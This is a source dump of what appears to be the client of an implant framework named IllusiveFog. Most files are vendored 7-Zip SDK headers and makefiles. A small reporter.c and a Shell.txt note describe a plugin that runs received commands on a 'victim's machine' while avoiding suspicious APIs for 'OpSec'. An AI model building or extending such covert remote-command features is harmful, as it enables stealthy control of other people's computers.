"../../../Common/IntToString.h" 6 | 7 | #include "FormatUtils.h" 8 | 9 | #include "LangUtils.h" 10 | 11 | UString NumberToString(UInt64 number) 12 | { 13 | wchar_t numberString[32]; 14 | ConvertUInt64ToString(number, numberString); 15 | return numberString; 16 | } 17 | 18 | UString MyFormatNew(const UString &format, const UString &argument) 19 | { 20 | UString result = format; 21 | result.Replace(L"{0}", argument); 22 | return result; 23 | } 24 | 25 | UString MyFormatNew(UINT resourceID, const UString &argument) 26 | { 27 | return MyFormatNew(LangString(resourceID), argument); 28 | } 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Cab/CabHandler.h: -------------------------------------------------------------------------------- 1 | // CabHandler.h 2 | 3 | #ifndef __CAB_HANDLER_H 4 | #define __CAB_HANDLER_H 5 | 6 | #include "../../../Common/MyCom.h" 7 | 8 | #include "../IArchive.h" 9 | 10 | #include "CabIn.h" 11 | 12 | namespace NArchive { 13 | namespace NCab { 14 | 15 | class CHandler: 16 | public IInArchive, 17 | public CMyUnknownImp 18 | { 19 | public: 20 | MY_UNKNOWN_IMP1(IInArchive) 21 | 22 | INTERFACE_IInArchive(;) 23 | 24 | private: 25 | CMvDatabaseEx m_Database; 26 | UString _errorMessage; 27 | bool _isArc; 28 | bool _errorInHeaders; 29 | bool _unexpectedEnd; 30 | // int _mainVolIndex; 31 | UInt32 _phySize; 32 | UInt64 _offset; 33 | }; 34 | 35 | }} 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/Far.def: -------------------------------------------------------------------------------- 1 | ; 7-ZipFar.def : Declares the module parameters for the DLL. 2 | 3 | LIBRARY "7-ZipFar" 4 | 5 | EXPORTS 6 | ExitFAR 7 | SetStartupInfo 8 | OpenPlugin 9 | OpenFilePlugin 10 | ClosePlugin 11 | GetFindData 12 | FreeFindData 13 | SetDirectory 14 | GetPluginInfo 15 | Configure 16 | GetOpenPluginInfo 17 | GetFiles 18 | PutFiles 19 | DeleteFiles 20 | ProcessKey 21 | 22 | ;SetStartupInfoW 23 | ;OpenPluginW 24 | ;OpenFilePluginW 25 | ;ClosePluginW 26 | ;GetFindDataW 27 | ;FreeFindDataW 28 | ;SetDirectoryW 29 | ;GetPluginInfoW 30 | ;ConfigureW 31 | ;GetOpenPluginInfoW 32 | ;GetFilesW 33 | ;PutFilesW 34 | ;DeleteFilesW 35 | ;ProcessKeyW 36 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/7zCrc.h: -------------------------------------------------------------------------------- 1 | /* 7zCrc.h -- CRC32 calculation 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_CRC_H 5 | #define __7Z_CRC_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | extern UInt32 g_CrcTable[]; 12 | 13 | /* Call CrcGenerateTable one time before other CRC functions */ 14 | void MY_FAST_CALL CrcGenerateTable(void); 15 | 16 | #define CRC_INIT_VAL 0xFFFFFFFF 17 | #define CRC_GET_DIGEST(crc) ((crc) ^ CRC_INIT_VAL) 18 | #define CRC_UPDATE_BYTE(crc, b) (g_CrcTable[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 19 | 20 | UInt32 MY_FAST_CALL CrcUpdate(UInt32 crc, const void *data, size_t size); 21 | UInt32 MY_FAST_CALL CrcCalc(const void *data, size_t size); 22 | 23 | EXTERN_C_END 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/DummyOutStream.h: -------------------------------------------------------------------------------- 1 | // DummyOutStream.h 2 | 3 | #ifndef __DUMMY_OUT_STREAM_H 4 | #define __DUMMY_OUT_STREAM_H 5 | 6 | #include "../../../Common/MyCom.h" 7 | 8 | #include "../../IStream.h" 9 | 10 | class CDummyOutStream: 11 | public ISequentialOutStream, 12 | public CMyUnknownImp 13 | { 14 | CMyComPtr _stream; 15 | UInt64 _size; 16 | public: 17 | void SetStream(ISequentialOutStream *outStream) { _stream = outStream; } 18 | void ReleaseStream() { _stream.Release(); } 19 | void Init() { _size = 0; } 20 | MY_UNKNOWN_IMP 21 | STDMETHOD(Write)(const void *data, UInt32 size, UInt32 *processedSize); 22 | UInt64 GetSize() const { return _size; } 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Far/OverwriteDialogFar.h: -------------------------------------------------------------------------------- 1 | // OverwriteDialogFar.h 2 | 3 | #ifndef __OVERWRITE_DIALOG_FAR_H 4 | #define __OVERWRITE_DIALOG_FAR_H 5 | 6 | #include "../../../Common/MyString.h" 7 | #include "../../../Common/MyTypes.h" 8 | 9 | namespace NOverwriteDialog { 10 | 11 | struct CFileInfo 12 | { 13 | bool SizeIsDefined; 14 | bool TimeIsDefined; 15 | UInt64 Size; 16 | FILETIME Time; 17 | UString Name; 18 | }; 19 | 20 | namespace NResult 21 | { 22 | enum EEnum 23 | { 24 | kYes, 25 | kYesToAll, 26 | kNo, 27 | kNoToAll, 28 | kAutoRename, 29 | kCancel 30 | }; 31 | } 32 | 33 | NResult::EEnum Execute(const CFileInfo &oldFileInfo, const CFileInfo &newFileInfo); 34 | 35 | } 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/XzCrc64.h: -------------------------------------------------------------------------------- 1 | /* XzCrc64.h -- CRC64 calculation 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __XZ_CRC64_H 5 | #define __XZ_CRC64_H 6 | 7 | #include 8 | 9 | #include "7zTypes.h" 10 | 11 | EXTERN_C_BEGIN 12 | 13 | extern UInt64 g_Crc64Table[]; 14 | 15 | void MY_FAST_CALL Crc64GenerateTable(void); 16 | 17 | #define CRC64_INIT_VAL UINT64_CONST(0xFFFFFFFFFFFFFFFF) 18 | #define CRC64_GET_DIGEST(crc) ((crc) ^ CRC64_INIT_VAL) 19 | #define CRC64_UPDATE_BYTE(crc, b) (g_Crc64Table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 20 | 21 | UInt64 MY_FAST_CALL Crc64Update(UInt64 crc, const void *data, size_t size); 22 | UInt64 MY_FAST_CALL Crc64Calc(const void *data, size_t size); 23 | 24 | EXTERN_C_END 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/UpdatePair.h: -------------------------------------------------------------------------------- 1 | // UpdatePair.h 2 | 3 | #ifndef __UPDATE_PAIR_H 4 | #define __UPDATE_PAIR_H 5 | 6 | #include "DirItem.h" 7 | #include "UpdateAction.h" 8 | 9 | #include "../../Archive/IArchive.h" 10 | 11 | struct CUpdatePair 12 | { 13 | NUpdateArchive::NPairState::EEnum State; 14 | int ArcIndex; 15 | int DirIndex; 16 | int HostIndex; // >= 0 for alt streams only, contains index of host pair 17 | 18 | CUpdatePair(): ArcIndex(-1), DirIndex(-1), HostIndex(-1) {} 19 | }; 20 | 21 | void GetUpdatePairInfoList( 22 | const CDirItems &dirItems, 23 | const CObjectVector &arcItems, 24 | NFileTimeType::EEnum fileTimeType, 25 | CRecordVector &updatePairs); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/HelpUtils.cpp: -------------------------------------------------------------------------------- 1 | // HelpUtils.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "HelpUtils.h" 6 | 7 | #if defined(UNDER_CE) || !defined(_WIN32) /* || !defined(_MSC_VER) */ 8 | 9 | void ShowHelpWindow(LPCSTR) 10 | { 11 | } 12 | 13 | #else 14 | 15 | #include 16 | 17 | #include "../../../Common/StringConvert.h" 18 | 19 | #include "../../../Windows/DLL.h" 20 | 21 | #define kHelpFileName "7-zip.chm::/" 22 | 23 | void ShowHelpWindow(LPCSTR topicFile) 24 | { 25 | FString path = NWindows::NDLL::GetModuleDirPrefix(); 26 | path += kHelpFileName; 27 | path += topicFile; 28 | // HWND hwnd = NULL; 29 | HtmlHelp(NULL, GetSystemString(fs2us(path)), HH_DISPLAY_TOPIC, 0); 30 | } 31 | 32 | #endif 33 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/ConsoleClose.h: -------------------------------------------------------------------------------- 1 | // ConsoleClose.h 2 | 3 | #ifndef __CONSOLE_CLOSE_H 4 | #define __CONSOLE_CLOSE_H 5 | 6 | namespace NConsoleClose { 7 | 8 | class CCtrlBreakException {}; 9 | 10 | #ifdef UNDER_CE 11 | 12 | inline bool TestBreakSignal() { return false; } 13 | struct CCtrlHandlerSetter {}; 14 | 15 | #else 16 | 17 | extern unsigned g_BreakCounter; 18 | 19 | inline bool TestBreakSignal() 20 | { 21 | return (g_BreakCounter != 0); 22 | } 23 | 24 | class CCtrlHandlerSetter 25 | { 26 | #ifndef _WIN32 27 | void (*memo_sig_int)(int); 28 | void (*memo_sig_term)(int); 29 | #endif 30 | public: 31 | CCtrlHandlerSetter(); 32 | virtual ~CCtrlHandlerSetter(); 33 | }; 34 | 35 | #endif 36 | 37 | } 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Control/Trackbar.h: -------------------------------------------------------------------------------- 1 | // Windows/Control/Trackbar.h 2 | 3 | #ifndef __WINDOWS_CONTROL_TRACKBAR_H 4 | #define __WINDOWS_CONTROL_TRACKBAR_H 5 | 6 | #include "../Window.h" 7 | 8 | namespace NWindows { 9 | namespace NControl { 10 | 11 | class CTrackbar: public CWindow 12 | { 13 | public: 14 | void SetRange(int minimum, int maximum, bool redraw = true) 15 | { SendMsg(TBM_SETRANGE, BoolToBOOL(redraw), MAKELONG(minimum, maximum)); } 16 | void SetPos(int pos, bool redraw = true) 17 | { SendMsg(TBM_SETPOS, BoolToBOOL(redraw), pos); } 18 | void SetTicFreq(int freq) 19 | { SendMsg(TBM_SETTICFREQ, freq); } 20 | 21 | int GetPos() 22 | { return (int)SendMsg(TBM_GETPOS); } 23 | }; 24 | 25 | }} 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/shared/common/reporter.c: -------------------------------------------------------------------------------- 1 | #include "reporter.h" 2 | void report(HANDLE hreporter, DWORD reporter_threadid, char* message) { 3 | if (message != NULL) 4 | PostThreadMessageA(reporter_threadid, WM_ 5 | 6 | _CALLBACK, (WPARAM)message, NULL); 7 | else 8 | PostThreadMessageA(reporter_threadid, WM_IllusiveFog_REPORT, NULL, NULL); 9 | WaitForSingleObject(hreporter, INFINITE); 10 | ResetEvent(hreporter); 11 | 12 | } 13 | void report_ec(DWORD ec,HANDLE hreporter,DWORD reporter_threadid) { 14 | char* temp = allocheap(100); 15 | ZeroMemory(temp, 100); 16 | _itoa_str(ec, temp); 17 | PostThreadMessage(reporter_threadid, WM_IllusiveFog_REPORT_ERROR_CODE, (WPARAM)temp, NULL); 18 | WaitForSingleObject(hreporter, INFINITE); 19 | ResetEvent(hreporter); 20 | freeheap(temp); 21 | } -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/BwtSort.h: -------------------------------------------------------------------------------- 1 | /* BwtSort.h -- BWT block sorting 2 | 2013-01-18 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __BWT_SORT_H 5 | #define __BWT_SORT_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | /* use BLOCK_SORT_EXTERNAL_FLAGS if blockSize can be > 1M */ 12 | /* #define BLOCK_SORT_EXTERNAL_FLAGS */ 13 | 14 | #ifdef BLOCK_SORT_EXTERNAL_FLAGS 15 | #define BLOCK_SORT_EXTERNAL_SIZE(blockSize) ((((blockSize) + 31) >> 5)) 16 | #else 17 | #define BLOCK_SORT_EXTERNAL_SIZE(blockSize) 0 18 | #endif 19 | 20 | #define BLOCK_SORT_BUF_SIZE(blockSize) ((blockSize) * 2 + BLOCK_SORT_EXTERNAL_SIZE(blockSize) + (1 << 16)) 21 | 22 | UInt32 BlockSort(UInt32 *indices, const Byte *data, UInt32 blockSize); 23 | 24 | EXTERN_C_END 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/FileSystem.h: -------------------------------------------------------------------------------- 1 | // Windows/FileSystem.h 2 | 3 | #ifndef __WINDOWS_FILE_SYSTEM_H 4 | #define __WINDOWS_FILE_SYSTEM_H 5 | 6 | #include "../Common/MyString.h" 7 | #include "../Common/MyTypes.h" 8 | 9 | namespace NWindows { 10 | namespace NFile { 11 | namespace NSystem { 12 | 13 | #ifdef _WIN32 14 | 15 | bool MyGetVolumeInformation( 16 | CFSTR rootPath , 17 | UString &volumeName, 18 | LPDWORD volumeSerialNumber, 19 | LPDWORD maximumComponentLength, 20 | LPDWORD fileSystemFlags, 21 | UString &fileSystemName); 22 | 23 | UINT MyGetDriveType(CFSTR pathName); 24 | 25 | bool MyGetDiskFreeSpace(CFSTR rootPath, UInt64 &clusterSize, UInt64 &totalSize, UInt64 &freeSize); 26 | 27 | #endif 28 | 29 | }}} 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /client/Shell/Shell.txt: -------------------------------------------------------------------------------- 1 | -Shell Plugin: simply executes shell commands that are received,suspecious APIs 2 | such as WinExec/ShellExec are not used to maintain OpSec.you may use this to gain 3 | telemetry on victim's Machine,but commands are limited to OpSec-safe. 4 | 5 | OpSec Warning will be raised if any commands such as onliner for powershell or any lolbins. 6 | 7 | STATES: WORKING:Y,NOT-WORKING:N,NOT AVAILABLE:N/A 8 | Compatability table: 9 | OS: WINDOWS 7 WINDOWS SERVER 2008(DATA CENTRE) WINDOWS SERVER 2012 WINDOWS SERVER 2016 WINDOWS SERVER 2019 WINDOWS 10 10 | STATE: Y Y N/A N/A N/A Y 11 | 12 | 13 | PLUGIN-STATUS: 14 | LAUNCH IN PRODUCTION. 15 | TODO: 16 | final code cleanup. 17 | Raise OpSec warnings if command length is more than 20. 18 | 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/LzmaLib/makefile: -------------------------------------------------------------------------------- 1 | MY_STATIC_LINK=1 2 | SLIB = sLZMA.lib 3 | PROG = LZMA.dll 4 | SLIBPATH = $O\$(SLIB) 5 | 6 | DEF_FILE = LzmaLib.def 7 | CFLAGS = $(CFLAGS) \ 8 | 9 | LIB_OBJS = \ 10 | $O\LzmaLibExports.obj \ 11 | 12 | C_OBJS = \ 13 | $O\Alloc.obj \ 14 | $O\CpuArch.obj \ 15 | $O\LzFind.obj \ 16 | $O\LzFindMt.obj \ 17 | $O\LzFindOpt.obj \ 18 | $O\LzmaDec.obj \ 19 | $O\LzmaEnc.obj \ 20 | $O\LzmaLib.obj \ 21 | $O\Threads.obj \ 22 | 23 | OBJS = \ 24 | $(LIB_OBJS) \ 25 | $(C_OBJS) \ 26 | $O\resource.res 27 | 28 | !include "../../../CPP/Build.mak" 29 | 30 | $(SLIBPATH): $O $(OBJS) 31 | lib -out:$(SLIBPATH) $(OBJS) $(LIBS) 32 | 33 | $(LIB_OBJS): $(*B).c 34 | $(COMPL_O2) 35 | $(C_OBJS): ../../$(*B).c 36 | $(COMPL_O2) 37 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/SfxSetup/makefile: -------------------------------------------------------------------------------- 1 | PROG = 7zS2.sfx 2 | MY_FIXED = 1 3 | 4 | C_OBJS = \ 5 | $O\7zAlloc.obj \ 6 | $O\7zArcIn.obj \ 7 | $O\7zBuf.obj \ 8 | $O\7zBuf2.obj \ 9 | $O\7zCrc.obj \ 10 | $O\7zCrcOpt.obj \ 11 | $O\7zFile.obj \ 12 | $O\7zDec.obj \ 13 | $O\7zStream.obj \ 14 | $O\Bcj2.obj \ 15 | $O\Bra.obj \ 16 | $O\Bra86.obj \ 17 | $O\BraIA64.obj \ 18 | $O\CpuArch.obj \ 19 | $O\Delta.obj \ 20 | $O\DllSecur.obj \ 21 | $O\Lzma2Dec.obj \ 22 | $O\LzmaDec.obj \ 23 | 24 | 7Z_OBJS = \ 25 | $O\SfxSetup.obj \ 26 | 27 | OBJS = \ 28 | $(7Z_OBJS) \ 29 | $(C_OBJS) \ 30 | $O\resource.res 31 | 32 | !include "../../../CPP/Build.mak" 33 | 34 | $(7Z_OBJS): $(*B).c 35 | $(COMPL_O1) 36 | $(C_OBJS): ../../$(*B).c 37 | $(COMPL_O1) 38 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditPage.h: -------------------------------------------------------------------------------- 1 | // EditPage.h 2 | 3 | #ifndef __EDIT_PAGE_H 4 | #define __EDIT_PAGE_H 5 | 6 | #include "../../../Windows/Control/PropertyPage.h" 7 | #include "../../../Windows/Control/Edit.h" 8 | 9 | struct CEditPageCtrl 10 | { 11 | NWindows::NControl::CEdit Edit; 12 | bool WasChanged; 13 | int Ctrl; 14 | int Button; 15 | }; 16 | 17 | class CEditPage: public NWindows::NControl::CPropertyPage 18 | { 19 | CEditPageCtrl _ctrls[3]; 20 | 21 | bool _initMode; 22 | public: 23 | virtual bool OnInit(); 24 | virtual void OnNotifyHelp(); 25 | virtual bool OnCommand(int code, int itemID, LPARAM param); 26 | virtual LONG OnApply(); 27 | virtual bool OnButtonClicked(int buttonID, HWND buttonHWND); 28 | }; 29 | 30 | #endif 31 | --------------------------------------------------------------------------------